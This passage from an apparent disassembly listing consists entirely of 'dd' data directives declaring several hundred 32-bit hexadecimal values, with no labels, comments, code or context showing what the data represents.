		dd 0DCE50069h, 0D6BB714h, 4E003071h, 0D2D5AFF3h, 1E34AD2Ah
		dd 40E57840h, 0F06B2899h, 15019BCDh, 0F5EA2CB2h, 7E3D13Eh
		dd 45C3FF28h, 0D6EE053h, 0AEFA3AF0h, 6D00A9F8h,	68CD7CBEh
		dd 3207ED2h, 232DB1EAh,	38A8A413h, 243A2F0Ch, 8995808Eh
		dd 3A53ED61h, 0FC5774Dh, 4BFF4188h, 5ECDBDA0h, 8F4819BBh
		dd 5A870E56h, 0EE62E0B3h, 3E2B7AB4h, 3F1F5E20h,	600BD87Dh
		dd 857BA36Fh, 50384A60h, 70254B3h, 0F4EDBE9Ch, 9616E013h
		dd 0C6001537h, 6A8B606Fh, 0ABA854h, 0C26344D8h,	2AD05F16h
		dd 0D334E400h, 0E72FCA5Bh, 80DC140Dh, 7700C719h, 508515EBh
		dd 0CD009EF3h, 2962CA95h, 7DD51306h, 0DFF800B2h, 36899AE6h
		dd 54037723h, 46E91FB8h, 97FFF8E0h, 31C83969h, 41980C00h
		dd 0F2A6A034h, 0C6242B00h, 0F73C6146h, 0FE6C0390h, 9A8AC1A9h
		dd 9C9D1298h, 0FD304D01h, 86BD6446h, 0CB61880h,	0B5F1BB75h
		dd 8D568F09h, 1E2700BCh
		dd 8C5BF8h, 0B1EB273Bh,	3921EDFAh, 6C0C8B00h, 814B1F8Ah
		dd 0A86B1FB4h, 30424F6h, 0B39C0B6Fh, 0F8ABD089h, 0ED07BD83h
		dd 79753C84h, 0E6D4FA21h, 4260D2DDh, 0B128014Eh, 67A5B5A9h
		dd 5EF9DC4Dh, 9D132101h, 0D4EB3C89h, 0E6099F5h,	2F71006Ch
		dd 45B9612Ah, 0B13C386Bh, 3C671E31h, 0BA9B4BC7h, 3286ACB7h
		dd 0FC630028h, 3A2E1E70h, 90F0E316h, 0AE8E3700h, 0B7840D45h
		dd 0F00EB7DEh, 716677C3h, 0B3EBAB0h, 49D0B8A0h,	7846E700h
		dd 0D7BBCFA3h, 0CDC11E30h, 92A54155h, 0C1F7179Ah, 7D682050h
		dd 0C3A8984Ah, 2A3F850Fh, 0F6035520h, 0A8A0DBF0h, 300AAFCDh
		dd 98C15BFAh, 4D876C00h, 4C99B990h, 0C316B152h,	9E7C0FFFh
		dd 0B51F7EDFh, 5AD78328h, 84D03155h, 877A0E5h, 0C971AF00h
		dd 7BF25B30h, 74C60079h, 904FE4BCh, 1901299Fh, 0DAD19320h
		dd 5C302156h, 0FAD60182h, 2BF045ABh, 85B0405Ch,	0C003344Ah
		dd 0B7418B3Dh, 60A0F807h, 0EFE4F7F6h, 198F3CBFh, 7406428Bh
		dd 0E83CAB80h, 0E400EADEh, 0C7C2DCF3h, 6028E7BBh, 9FF75055h
		dd 99002550h, 51613E79h, 0DFFB15h, 0E6107AD6h, 0CE9334F8h
		dd 0D00E3Ah, 17482D08h,	75EE1E3h, 63F46A5Dh, 9199202Bh
		dd 5004A479h, 82F6CBFAh, 401A7CC2h, 0F63F97Bh, 66F3D61h
		dd 53440AC0h, 8B00A227h, 42EA563Bh, 334F50Eh, 0F094BFBBh
		dd 0E2B05047h, 38243C0Fh, 3A0FA017h, 0DC86C0B2h, 3D9FC55Dh
		dd 8A001156h, 0F31BCF18h, 72387B08h, 0B7F180F6h, 9AC1A09Bh
		dd 8F7C61h, 2389F5EBh, 73C7F42h, 2D9BA900h, 0A3117806h
		dd 0CE3707C7h, 0E0E3D3FFh, 0AABCD64h, 8A53A203h, 0ABA1FDF5h
		dd 0EDC2D025h, 0DC580FBBh, 0E5801DE8h, 0C4809B27h, 9A9F8313h
		dd 8E4AA800h, 15D1E46h,	59184C20h, 0C4351155h, 0D98A936h
		dd 0B92B0F28h, 0D568A707h, 0F0014358h, 0ACC47BCFh, 1A5401FBh
		dd 0B83489D6h, 22C02ABCh, 790B238h, 0C7D3134Ah,	0F754605Fh
		dd 970FF834h, 601771A2h, 0A4CF1FF5h, 0A9E62C30h, 0D54A6048h
		dd 0C602F6E2h, 60FD4279h, 0A88BAEh, 32E41F3Bh, 139818h
		dd 828F9766h, 22BAEAB1h, 962C881Fh, 0D4E2B0F0h,	6AC10906h
		dd 8C000745h, 3E42AE17h, 13B46C20h, 358CD9h, 304C5E24h
		dd 5400F919h, 0C199BD7Dh, 6B26D5h, 0DC62D3C7h, 7CA2154Ch
		dd 9CB09A05h, 7D8082C4h, 28EF37h, 8733B2D3h, 1A60FF63h
		dd 0E9FDD903h, 0F46D05h, 0C2E29E10h, 5CD73E41h,	6FDDF00Eh
		dd 31680D6h, 3C435B8h, 86A04651h, 0A2988D0Eh, 0DE019059h
		dd 3C1A7EF8h, 4893E93Eh, 9F7C0049h, 0A2A827CEh,	0DD0C6302h
		dd 80F2FEE3h, 91E1EBF4h, 25B90397h, 7EF7118Ah, 0E81557E1h
		dd 1EC741Ch, 0E2073D79h, 0E1C76E87h, 9F4FF7B0h,	5ACE0081h
		dd 454CD9E6h, 673DA9FDh, 638D0082h, 0BD030D84h,	2D4918Ah
		dd 3F237EDEh, 36464840h, 751C7200h, 56A3BA4h, 31801473h
		dd 3800AC3Ch, 69FAB9E8h, 48C071A7h, 0E1B39EE4h,	26C00059h
		dd 21E34EC4h, 9B0B6496h, 80245120h, 3F2B06FEh, 0CCF2BAh
		dd 0FFD151Dh, 0F11E477Ah, 33F5CB07h, 0BE90E6B4h, 383FB7Dh
		dd 0E0D546A3h, 56A3CF31h, 0C6156BA9h, 30203060h, 8E7F1313h
		dd 16C82Ch, 0C6AB929Ch,	22153671h, 4B6F6405h, 9AC5F72Eh
		dd 47E05687h, 0CED131h,	3754B826h, 0F70CA8D3h, 5B6D800Eh
		dd 0A60E20C9h, 0B06364h, 137FFDD8h, 0B6A53B2Bh,	6A26100Eh
		dd 0D5DC003Eh, 3B7CC44h, 6C035D4Bh, 0D4F0856Bh,	2700C06Dh
		dd 29969D23h, 7EF7640h,	0E42C4FDCh, 80462781h, 8A45DA78h
		dd 382ABB00h, 962F7335h, 0F55B03Dh, 0DD6856C2h,	7CA08C81h
		dd 150D6081h, 2C59A00h,	7865824h, 4DCC7484h, 0BE00FC3Ch
		dd 40C3DADDh, 89003DFDh, 4FCDC097h, 567276h, 9177957Fh
		dd 0D8F218EAh, 82781048h, 63685AA3h, 7FEBA867h,	8077C8h
		dd 77B6FD36h, 0F4CD751Ah, 0FD309E2Ch, 54419400h, 3C35EE92h
		dd 5C2E71B2h, 0F2090CCDh, 0F4001788h, 9918311Bh, 0BA94ABD1h
		dd 7F1958F0h, 55EED901h, 0D0578BB2h, 7B137E1Eh,	2400DD3Bh
		dd 7F60CDBEh, 56381E09h, 0E0A80063h, 297132FDh,	7F7C5E5Ch
		dd 487C1828h, 6153BBA0h, 0F3525407h, 93E6D210h,	8D110071h
		dd 9217281Bh, 8100B9D1h, 75CA802h, 9762740h, 40C67F4h
		dd 8E60F60Eh, 24C1E739h, 5C733Eh, 208CB7D7h, 98F7Fh, 2D2F8E14h
		dd 92B1B07Eh, 0DB3EA01Eh, 3AFBFEC0h, 7FD262Eh, 0B0180A49h
		dd 3B01B180h, 0B719D887h, 0A1C77A09h, 5A3180CAh, 7C04DD08h
		dd 33AC00D0h, 97DA0981h, 4A008318h, 39690625h, 9317198h
		dd 0A4A250A8h, 5C552200h, 753B578Dh, 0B3F11h, 644E4FFCh
		dd 18679C76h, 83CDB54h,	0E8C18EF9h, 0B84E9D99h,	7FCA56C4h
		dd 59370047h, 63D3BFA6h, 0DFE0FB7Fh, 12707172h,	0E9775107h
		dd 0BDC07C08h, 0A5CAA7Ah, 0A3458705h, 6B251110h, 54550381h
		dd 0D28CA0ABh, 1450113h, 6C8EFDCDh, 8F35F0CBh, 2086D0FBh
		dd 62290D60h, 17402F2h,	81D0D7D4h, 0D1AD6787h, 8C7081BAh
		dd 4E0465C0h, 9F4140CEh, 0B520036h, 8D5590DBh, 5D50970Ch
		dd 21436C2Ch, 96046006h, 2C8850D4h, 0C280A93Ch,	0E404507Bh
		dd 0C5173939h, 8569780h, 535BF350h, 303C9100h, 4EBD019Bh
		dd 166A0022h, 0F8EBBCB5h, 0F700DF3Eh, 6746E8FBh, 0AA3D85h
		dd 34B3DBFFh, 0E23FE76Bh, 3F4AAE48h, 1A710144h,	0FEB4404Ah
		dd 9C2C60h, 899BAF2h, 0C306B78Bh, 0D307C1F6h, 0FF788535h
		dd 0A060F1D0h, 52F8C2h,	0B1DE2D2h, 719A5A7Dh, 0C4010878h
		dd 10756EAAh, 2DDCE1C9h, 8F8400F9h, 36EFB6E6h, 93EA44D6h
		dd 0B2A08804h, 56C0AC77h, 72B73ECh, 0FD157C9h, 5C041A56h
		dd 18119E28h, 75048Dh, 0A2D5AA79h, 0AE0EBBE5h, 41986A48h
		dd 0E1B9727Fh, 84D2C4h,	5A7566EDh, 10F7CC8Ch, 2142BA0Fh
		dd 5417432Ch, 0D158C85Bh, 0D07400E8h, 0CD4263Dh, 7B0065D8h
		dd 3757FA25h, 0E2DCF19Eh, 2CD11EA8h, 6185BFD4h,	3851B71Ch
		dd 40215C20h, 8FB4802Ah, 0EAF57560h, 0E5888360h, 0C012D073h
		dd 0C4556AC8h, 0F182130h, 3410A515h, 3738844Fh,	0AB018054h
		dd 1841A410h, 0CB070195h, 8E8844B2h, 66F0F3AAh,	1C0084C7h
		dd 68AFB1F2h, 0A35A1D67h, 0E355A884h, 0F460EE7h, 5E0F0EA6h
		dd 99208818h, 0B688F618h, 0A541928h, 10AE2C8Ch,	661440B4h
		dd 0EC00707Dh, 448A3FE1h, 71E8415Fh, 65892816h,	90D53630h
		dd 677B088h, 20998468h,	0B0894543h, 853DD66Eh, 42EAEB43h
		dd 27820B0h, 0E85F8489h, 213E1508h, 0C04CFC9Fh,	0B12D1091h
		dd 0C103A841h, 5A7F6981h, 6E28246Ch, 83208913h,	2A00C00h
		dd 0E875AEh, 618615F8h,	5439738Eh, 5B007498h, 74EDF7BBh
		dd 122D13E1h, 3A15AD4h,	2580CF14h, 87207AC7h, 91A6862Ch
		dd 1F5A2F71h, 0C0268B22h, 10AB5091h, 0EB5FE000h, 0E66BC9AFh
		dd 1BD01144h, 19F604AEh, 1823E1E7h, 38E06098h, 460420A6h
		dd 0B093A3F3h, 80877C7Ch, 0BD1143B0h, 0D9FF44B4h, 0AD140FAAh
		dd 2042AC6Dh, 715FBD01h, 156DE42h, 391A4B30h, 809842A9h
		dd 0F811BF85h, 21F0B262h, 0A08EE8C7h, 118DF7B0h, 0F00D0233h
		dd 0A6EC7105h, 5E4D3820h, 0D5F85D05h, 0A1406CAFh, 20AEB577h
		dd 0E62144FCh, 6A9C507Dh, 9605C0A0h, 13564844h,	1A76E9h
		dd 7495D154h, 4C9817C0h, 341BB00h, 5F974DB2h, 85CB1379h
		dd 9581C2Bh, 380E5713h,	1D729C63h, 9654D2ECh, 0FDA82098h
		dd 50952321h
		dd 187E389h, 27D8D019h,	7D211F58h, 94CBAE0h, 21C08D01h
		dd 1152664Bh, 0F1595C38h, 10AE6D5h, 5B244B22h, 405EFF0Ah
		dd 406C8D21h, 7D6D084Eh, 51F95D62h, 0AC02404Bh,	5E130FAEh
		dd 20E5523Eh, 745D56C7h, 0E9222A2Eh, 0CD18B04h,	28802E8Eh
		dd 99157332h, 8B9980A8h, 0B3332CB2h, 0E55F4285h, 4030C865h
		dd 4281117Ch, 0EAC3A1EFh, 4284C0Ah, 52AA3972h, 6037212Ah
		dd 5B568A5Eh, 40C4A4FEh, 0CB68B919h, 35E6C0C0h,	99DEF3h
		dd 6317740Dh, 0FF7BD81h, 0EA833707h, 0C8C0028Ch, 5F6BCh
		dd 3036F90Bh, 7F5C3C67h, 120A753h, 0FA3460A6h, 880A707Eh
		dd 6C765890h, 0C37ECA08h, 0B42054B9h, 0EA8A0C69h, 3328B593h
		dd 0A2B1871Dh, 3577003Eh, 7D964763h, 0A7FF0059h, 5A09205Dh
		dd 7CE253C1h, 4582E13h,	0C441291Ch, 102CFF5h, 0B7C7C2E1h
		dd 20303485h, 42073DA4h, 0C372A1BCh, 0F6C20F0Eh, 0F9F9A8B1h
		dd 7404BD6h, 0E64FBFC8h, 4B1AF9E8h, 82570420h, 292AE44Fh
		dd 6B606066h, 0AF2655C7h, 0F06A1020h, 7F3E2C79h, 0EE988F97h
		dd 0D6F3C1h, 585BE30Fh,	98ECC4F9h, 9475BD0Fh, 0CADA030Ch
		dd 0FCFEE8F5h, 1AD126Eh, 0CC1000D6h, 8F057F3h, 0B112742Eh
		dd 819CF21Ch, 2099754Ah, 0D6CB6E80h, 47289D9Eh,	806DC815h
		dd 85CD7F66h, 7701F90Fh, 95A6DDB6h, 0B0807855h,	3DE6ACB7h
		dd 0B41DB823h, 0C2DF5E9Ah, 0FA619903h, 0BEF00078h, 0D47EE7BDh
		dd 7FF01607h, 0ACB320A8h, 0F808E904h, 0A87CBE42h, 0FF9B8187h
		dd 1FB76EEDh, 62007C22h, 0C7EF99F2h, 2493C2F5h,	0E3E8363Ah
		dd 28DF0B7Fh, 71B02654h, 4017008h, 5146C121h, 0C02833FCh
		dd 2E6D918Dh, 548A8F34h, 0A350207Ch, 672B210Eh,	605C4851h
		dd 0BC6304A2h, 2A372EF0h, 2070527Dh, 403D7281h,	21405E3Bh
		dd 63086040h, 41E8B7C5h, 73184285h, 85082094h, 541F495Ah
		dd 0CAC0A452h, 0B905A0F0h, 2078D4EDh, 0C072531Ch, 57504A81h
		dd 2B205E44h, 0F5804050h, 0D7F78A60h, 0C33447BFh, 0C4087C65h
		dd 0D562FA60h, 59122510h, 0C116EEA9h, 9720B240h, 0E8880AA9h
		dd 21CD7C78h, 2C5116F8h, 60F2030Bh, 0CC8250A0h,	6AE0212Ah
		dd 0A87B0E40h, 0C220ABFFh, 609472DCh, 0DBCEC408h, 1052544Ah
		dd 8789C120h, 850AA259h, 80387034h, 0BD201044h,	5244A84Fh
		dd 0CE812071h, 0AD12320h, 8078B888h, 76C2218Bh,	940CC53h
		dd 7FAFB66h, 6E32C203h,	78337208h, 0D150918h, 54007195h
		dd 5CD2F288h, 0A07828A0h, 0E68220h, 0C365BFACh,	0CB77FBC2h
		dd 7098FF1Eh, 360C783Eh, 38B36163h, 3D3C3944h, 0AE510B31h
		dd 3BAD0080h, 20C254A0h, 871078F8h, 2183508h, 81FA8542h
		dd 49D78E00h, 580C6191h, 8E54EE82h, 8819D431h, 56D0208h
		dd 0DD000927h, 0B832C68Fh, 4DA300C0h, 0AB377E2h, 800CEEDBh
		dd 39ED3C42h, 0D07E5DFDh, 5FC77000h, 0B56DD44Dh, 5386F100h
		dd 0E3FB605Dh, 0E051006Ch, 0F5D83EB1h, 70EDD3D6h, 37283C24h
		dd 0AC50EB71h, 0D3AEEB0h, 0E8E6003Dh, 77F8E0BDh, 76CA0772h
		dd 15630A3h, 6080A1E5h,	0E429C890h, 11EC860h, 0F1FA6230h
		dd 0F5C5384Ah, 18237E80h, 400A585Ah, 1422171Ch,	68CC6830h
		dd 5FF270h, 1ECF9951h, 0A073933Fh, 72F10709h, 0CA8055B7h
		dd 0CD2E477Dh, 8D437614h, 4B6680F0h, 3720537h, 2090F6DCh
		dd 0BAD89739h, 6A01E9A2h, 7FEA4156h, 48802E60h,	79510315h
		dd 85782C02h, 14726902h, 90BD10B3h, 376542A4h, 91603D09h
		dd 40EE810Ch, 1BE606E4h, 0DCC3FCA0h, 34FF9E00h,	0CF52E056h
		dd 27B70015h, 901A9B2Ch, 0C32E6337h, 0F9190C6Bh, 28703230h
		dd 1CE75CDDh, 2D4F868h,	0B1CD6F0h, 612218E3h, 0D4CB04E9h
		dd 80F52F0Ch, 0BD6EA55Ch, 88E31530h, 48FFEA8Ah,	371DA49Ah
		dd 3A208C81h, 63033450h, 597C11E7h, 0C6790FF8h,	0E1783C8h
		dd 74C075D5h, 0E6A6B8CFh, 0B12AE20Ah, 8257A849h, 9EC5B0F1h
		dd 0D77F0840h, 0E8AD8930h, 6F11F27Bh, 0E50118DBh, 40CD2A3Fh
		dd 0C6F3EE80h, 30742E48h, 0FB5FB1FCh, 0A4BC00A1h, 345A9A98h
		dd 3905A68Ch, 0E2C5AC43h, 0F7EE8009h, 0E0700F06h, 1CEDF500h
		dd 0F106E1C1h, 7F49C081h, 5CAC18F2h, 2A241548h,	7D2AAC35h
		dd 0E63D8CE4h, 64C88Ah,	0CEB74285h, 0F69B55F5h,	0B1C20AF6h
		dd 8750BB48h, 900B4B3Ch, 70B0A624h, 89B85606h, 5121C94Ah
		dd 0F083C038h, 0E4B28887h, 0D3428800h, 0BDEBF2FBh, 0B9AA2A80h
		dd 0C3448FCh, 0C4B37BC4h, 28705200h, 32004700h,	5DB20312h
		dd 907FAB87h, 50B8072Ch, 10BDE9C0h, 85F90F5Ch, 0BBE53A03h
		dd 0F878A789h, 63EE4A56h, 0C2CF68FAh, 0FB127B0h, 9E8D159h
		dd 88E5C172h, 81408890h, 12073BE1h, 2836D99h, 0E83FE208h
		dd 0E8C27049h, 249181DAh, 0B0C0490Dh, 84213A40h, 4034F5B1h
		dd 0CC235809h, 0A4EE1050h, 9BCC3CB8h, 8AC2A5h, 209A1249h
		dd 0C61BDDB4h, 4039650Fh, 140FD3A7h, 2F6103C3h,	481002ACh
		dd 33607350h, 52007C58h, 0AF3664E6h, 0E2E5A051h, 40CD4994h
		dd 0B5893F7Ch, 7F650A03h, 0F0247521h, 7B1D4C10h, 0C8F312A0h
		dd 18E4868Fh, 0FF082F43h, 8388CEB7h, 76341ADh, 20B712C4h
		dd 814F5D05h, 0CF00CC7Ch, 0E7B802F9h, 0C20DEB7Eh, 759BE0B8h
		dd 4BCC8C80h, 0A0A15E93h, 0EA8BD812h, 0C4EFBE4h, 32EDB044h
		dd 0B606801h, 8E409FA9h, 80CEE15h, 3A5AAADBh, 4A8F596Fh
		dd 0C804B169h, 1BD682A1h, 0B9F15868h, 597F6988h, 0C789091h
		dd 0ACDD607Ch, 661295C1h, 800ACAF6h, 0E6502497h, 18BE6C42h
		dd 88BADD48h, 8960A880h, 10B0AD44h, 43CCE0BEh, 0B6620930h
		dd 60A2D893h, 0BE5948B0h, 0A314EA88h, 88800D98h, 0D76C64CBh
		dd 9BAC408Ch, 0E23C3761h, 0E826245Bh, 0A483910Ah, 42FB9001h
		dd 0B064F6F5h, 0B18F0CFAh, 4188FFCEh, 950F2490h, 3C7ECA1h
		dd 0BC660FB7h, 4C470F0h, 7D3FB101h, 885CE187h, 0C2073C78h
		dd 0FD19B82Fh, 80432E1Ch, 8E04679h, 42CF84D1h, 113073B1h
		dd 1CEB8694h, 591C21C3h, 0C28ECD08h, 56185402h,	0E9E88CE3h
		dd 0FD11C242h, 3B7C277Fh, 613121B4h, 0D97E9703h, 77983C88h
		dd 0B17DE007h, 45CFF5DEh, 211CE930h, 10087218h,	27FD34C7h
		dd 7C03E389h, 0C0116AC6h, 228288E1h, 7210092Eh,	0E330A4C3h
		dd 56316048h, 0F91F9C7Dh, 881F215Dh, 0F7C217D0h, 0B9102E6Bh
		dd 5A108C8Bh, 6A8A0D9Bh, 32A46F3Ch, 0B84922C5h,	41E521D8h
		dd 1FDC300Bh, 959A021h,	840AB51Bh, 7FD50A9Ch, 0A56D471Ch
		dd 20580408h, 0C2EF6018h, 9D23845Bh, 3D320481h,	0B8622202h
		dd 8634D5F4h, 0C56CD149h, 9432B865h, 2D3044ACh,	33F07Dh
		dd 0E28D3108h, 9CA0440Bh, 0E043EB48h, 48545128h, 6708E48Ah
		dd 6D18097Ah, 42181B31h, 6C55295Ah, 0C486168Ah,	90E13A62h
		dd 42ED2D6Ch, 714976C7h, 9F39F160h, 917DB423h, 1E695078h
		dd 711841FFh, 619C587Ch, 2384D653h, 7C7B844Ch, 878D212Eh
		dd 21BA6C48h, 32080920h, 0FEA8CEE5h, 149C0164h,	0D4EC0365h
		dd 0AB533724h, 83B58FC0h, 40F4AF01h, 8296FEAAh,	0DAF065E1h
		dd 11C60086h, 53233B57h, 92F4A1D6h, 0CF0025F0h,	102909E1h
		dd 7836A9Eh, 498EFD51h,	0D814800Fh, 5F0B2AA5h, 0ECD24D3h
		dd 0B565CE25h, 84C3233Ch, 2180D33Eh, 110D44Ah, 2D60D218h
		dd 96B0DC11h, 0E39BF6D8h, 0CC24A88Ch, 3A218D61h, 250304D7h
		dd 30C60CB4h, 8088786Ch, 0B10C44CDh, 0A056719Eh, 0C1146120h
		dd 808E66Eh, 705C10ADh
		dd 25C98526h, 602B304Ah, 5E54DE60h, 5CBA8982h, 143559Ch
		dd 822E9511h, 100736DEh, 3CA45A5Dh, 9CC9F129h, 0C38CDB88h
		dd 2BC7DEEh, 632EED7Fh,	25DDD0A5h, 967300B9h, 0ACAE5CD6h
		dd 8106591Ah, 0CCFACD83h, 4D201F20h, 8EDF0FAAh,	904B2B80h
		dd 0C5F8D6BEh, 99036EFAh, 0C85F2D57h, 1B300EE9h, 0D8F960D2h
		dd 78245827h, 0E5814304h, 0A2306F2Ch, 0E08011CCh, 23E84054h
		dd 0CD6506F8h, 58445F19h, 0D106A7DBh, 0E83E58E5h, 8C9EBCB2h
		dd 889866ABh, 8DE10D1Ah, 0C119102Ah, 0FD4801F5h, 98BBBE40h
		dd 90780376h, 0A66AEA5Fh, 0A8885DDAh, 29970CCCh, 0E07E1458h
		dd 27A3F802h, 90A687B9h, 429B1394h, 3BFCC3B5h, 9FE02280h
		dd 7C29500Ch, 33DD502Ah, 269044CAh, 0FB2C110Ch,	979299Dh
		dd 3B61EFF4h, 2A192000h, 890DE3Dh, 0AD1D5C19h, 4A10C138h
		dd 320FEF66h, 8F0F50D8h, 9CA88A98h, 2084B8BFh, 8DA22A92h
		dd 2993F8CCh, 91A45E2Eh, 21E0477h, 9480B15Fh, 48F2FDE5h
		dd 39607096h, 0EF8C8820h, 8454C924h, 8B70D500h,	24464A1h
		dd 6B8F92BDh, 98A02360h, 4D49EFF8h, 65F2603h, 0E68BA929h
		dd 6840F5E1h, 9239EF8Fh, 0BF50CEF4h, 5090972Fh,	0C1C58584h
		dd 3C005F8Fh, 8BE24D21h, 7BCA2FEh, 0F38242E5h, 5C0881F9h
		dd 0F450C7B1h, 92C2FAA2h, 0EF5A14D4h, 0BE02F43Ch, 0D3034548h
		dd 22EC0C40h, 5118C60Ch, 50DBE8DCh, 0D83B8C9Ch,	786D7011h
		dd 30841B28h, 0D4A10E1h, 5D7688C6h, 0E81A1098h,	38B1475Ah
		dd 0FA87F9E0h, 34E50206h, 54ECA5ABh, 1A8D48A1h,	0B74A1009h
		dd 0C850527Eh, 72FD4B04h, 30E414DEh, 0C815195Eh, 0E3B20A42h
		dd 80897Fh, 0C6AA1E4Eh,	14F08D3Dh, 1846D32Ah, 4015D9F0h
		dd 1B4B6BBh, 5A995394h,	4AF0B3E4h, 2A8D27Ch, 0D4C20178h
		dd 0A1035F07h, 0FDF10998h, 408F8052h, 79AB50A7h, 0B5A11480h
		dd 0D552025Ah, 0BEFD008Ch, 589E0E7Dh, 28AA68ABh, 402B1864h
		dd 98A91E76h, 1341F818h, 8CD83118h, 720D6540h, 90DF61DAh
		dd 11055F27h, 0CEFDD8B7h, 2D018A2h, 0F06377E8h,	40400DE9h
		dd 220B2659h, 20AA485Fh, 6D50BD40h, 0F4A89236h,	95C32491h
		dd 9FB98C2Ch, 0ED160958h, 6841327Ch, 343A0ADDh,	0BB04B840h
		dd 296561F0h, 225CD8D5h, 81850654h, 7B916642h, 5328A059h
		dd 0A8495426h, 10466241h, 0B3007839h, 6E93DEE4h, 0EA20C1DDh
		dd 4C3E5B7Dh, 0C34BC3Eh, 0B033B1E0h, 0EE1E0853h, 53C92CCh
		dd 0D6C39735h, 825B449h, 0B1002C30h, 0AB5A5CDBh, 0A4DD80C7h
		dd 873D2B03h, 0E3598538h, 9E3924D3h, 40DB61ECh,	0EF244826h
		dd 0ECAE8400h, 56E0E4BEh, 48E15131h, 0EAB4EC20h, 4EE98B92h
		dd 69E4402Bh, 0DA01EBFCh, 0FACC67B1h, 3050DC5Bh, 60BB19B7h
		dd 704E99D5h, 23545476h, 4D0F7108h, 14DEA559h, 50EE2CBCh
		dd 6E82608h, 6828E9A8h,	4001DB13h, 8F04BC5Eh, 3CCC32C5h
		dd 1CF2225Bh, 8385C75h,	0F1CC305Dh, 1B58B4A2h, 119863EFh
		dd 0F12B1BF9h, 7088347Fh, 0BB64D90Eh, 27A166DAh, 21750F58h
		dd 2C6B6CA0h, 71620C06h, 9C9EB216h, 5F15FC5Eh, 0C8E85134h
		dd 518808E4h, 59442437h, 92B36038h, 7C092BB2h, 30E550A1h
		dd 4CD59008h, 4C040C5Ch, 80606A0Dh, 236E1BA4h, 360A069h
		dd 0F27CECF5h, 0CDAC4388h, 874385FBh, 481671A8h, 0B7707459h
		dd 0B22C9C50h, 897CEA3Dh, 3EF8BB1h, 0A902B74h, 0A5B6D668h
		dd 21F424A8h, 52530120h, 80C0478Fh, 6B2101E9h, 0B88C340Fh
		dd 24C449DAh, 1E693E01h, 917F9960h, 53049018h, 0D0E55E79h
		dd 80B48A5Ch, 40F078D0h, 8C014610h, 1DC984EBh, 0BFC15C98h
		dd 0B919D050h, 9A2DE05Ah, 0C8F6F094h, 1491F20h,	8127AEB7h
		dd 5C9D1182h, 18879502h, 37AE5235h, 6AC3344Bh, 12E52021h
		dd 9D100A0Bh, 0A951608h, 2183FEDh, 0ED0252CAh, 932C23h
		dd 0F25162D9h, 0E62BE1C6h, 0EC12B0A1h, 9C90AA31h, 92FAD612h
		dd 0E96B600Ch, 3D2813D5h, 1145377h, 69AD6370h, 62E86076h
		dd 5B6AF8A8h, 5DE824ECh, 3393D200h, 0DB2685DCh,	5A4200F5h
		dd 825F877Bh, 4E24FD51h, 0DA010CA1h, 0C3FAC7EAh, 0AC96F450h
		dd 7FE4A86h, 729BF030h,	184091AFh, 83717F72h, 12FD4738h
		dd 5000123Fh, 9BEB07CDh, 70E748ACh, 9248210h, 21455F5Ah
		dd 2B29FDFCh, 0C8242AE1h, 9D8135Eh, 68A400C5h, 87FDADABh
		dd 2800B0B0h, 45DBD12Dh, 0FEE7E013h, 6247CD6h, 0E5DD1F9Bh
		dd 5620B1D8h, 4C7131DCh, 225FB071h, 0B5D01834h,	78474B10h
		dd 0DA40C61Bh, 2944A0E2h, 24A0B990h, 0D825019Ch, 218BE705h
		dd 46241060h, 600422A6h, 184C5952h, 24A9CC8h, 57996A82h
		dd 5CC4DC2Bh, 0B0C3D002h, 0C059B14Fh, 394108E0h, 7E807F6Fh
		dd 5AE11BECh, 9E480A0Ch, 39D73314h, 3383E41Ah, 0B1181107h
		dd 0E20416DFh, 0E31D541Dh, 0B127A00Ch, 0BC80819Eh, 0C89D2EC9h
		dd 0A40D541h, 0BD9801C7h, 80D3C084h, 0C1FC7118h, 327C221Eh
		dd 111A1070h, 0F5CA019Bh, 0A8289817h, 111F11C8h, 0E7040013h
		dd 0A02B18C5h, 0AAED2478h, 49F02055h, 500560AFh, 80985D0Fh
		dd 0B6DA1AE0h, 130F549h, 1B2B1943h, 80202A90h, 0E0E4AB32h
		dd 1062299h, 7D98B2EFh,	20D63477h, 0EE612E6Ch, 5BFB6019h
		dd 0A82298C1h, 0A0F97A30h, 0D70FE56Fh, 3851DA8Ch, 600A9038h
		dd 651728EBh, 69057289h, 9447FF58h, 0DFD05C00h,	1F44CE31h
		dd 4F8B0CE9h, 2B063FB4h, 523C11EFh, 0EECC1133h,	9B506020h
		dd 9F815810h, 300F2041h, 1180A9E1h, 13ED914Dh, 0BD01F6D5h
		dd 4A8CF85Ah, 2080C3B0h, 0DE69B625h, 0F07D109Dh, 5CCAA200h
		dd 812CB9A3h, 4FCE00C7h, 218A061Fh, 0A000FF42h,	9083B3E2h
		dd 4AF869h, 0F3E87687h,	0DF6FFD95h, 789C8D4Ch, 0E133E0EBh
		dd 0EE2CB20Ch, 4603063h, 0D387104Ah, 3878C0A5h,	67008889h
		dd 0BC3DA8B5h, 25311Fh,	6677C27Bh, 2DD784EEh, 7F397600h
		dd 46890788h, 642C52B8h, 24904072h, 0A0BAF8F7h,	28E24320h
		dd 7C80B168h, 4C290C90h, 6911C61Bh, 34B97C01h, 2DE5B202h
		dd 0F901A453h, 784A3194h, 8FF05B03h, 0EFE005D5h, 0D767C8B4h
		dd 0BFD17479h, 0A8571FBEh, 0C0B4DA83h, 15EED945h, 0C46683AFh
		dd 63380500h, 3EB35FBBh, 0A4408A68h, 3D23FD00h,	1B6FD60Ah
		dd 31FB0732h, 9DCC02F8h, 10C0E8FEh, 81A35210h, 146E18F7h
		dd 0CB4471B9h, 2505B3E4h, 3F4A802Bh, 804770C2h,	65C838A0h
		dd 0D867C8Ch, 9B3DFD8Dh, 7DD81A79h, 78F2B340h, 969701DDh
		dd 0F76973A0h, 71B7E0E4h, 0E018E00h, 494F4E8Ch,	2E3707A1h
		dd 0F5C159F5h, 0E89019ACh, 9C86E694h, 5B127131h, 44034CF1h
		dd 1EBD8C36h, 0E8FB5311h, 97070038h, 0F601C9C7h, 0A1FA855Bh
		dd 398EBF30h, 7CFD1513h, 0EC050548h, 3204B9AFh,	801A3DA8h
		dd 0B687484Ch, 818CA740h, 83F1BFBBh, 0B7E84CC6h, 0F1A218F9h
		dd 0F32CA0Ch, 462210E8h, 6B401250h, 8D444042h, 85311D74h
		dd 80BCF648h, 23C1BDEDh, 0B44A5581h, 624B14F0h,	7B53D994h
		dd 593080AAh, 3744103Fh, 6193304Ah, 0FF395B70h,	0E187E8A0h
		dd 0D732000h, 9DBCBE06h, 0C84451AAh, 2CD3B001h,	5B089C23h
		dd 9F7B995h, 84204A79h,	0DD19CBF1h, 9039C8D8h, 0A8E240h
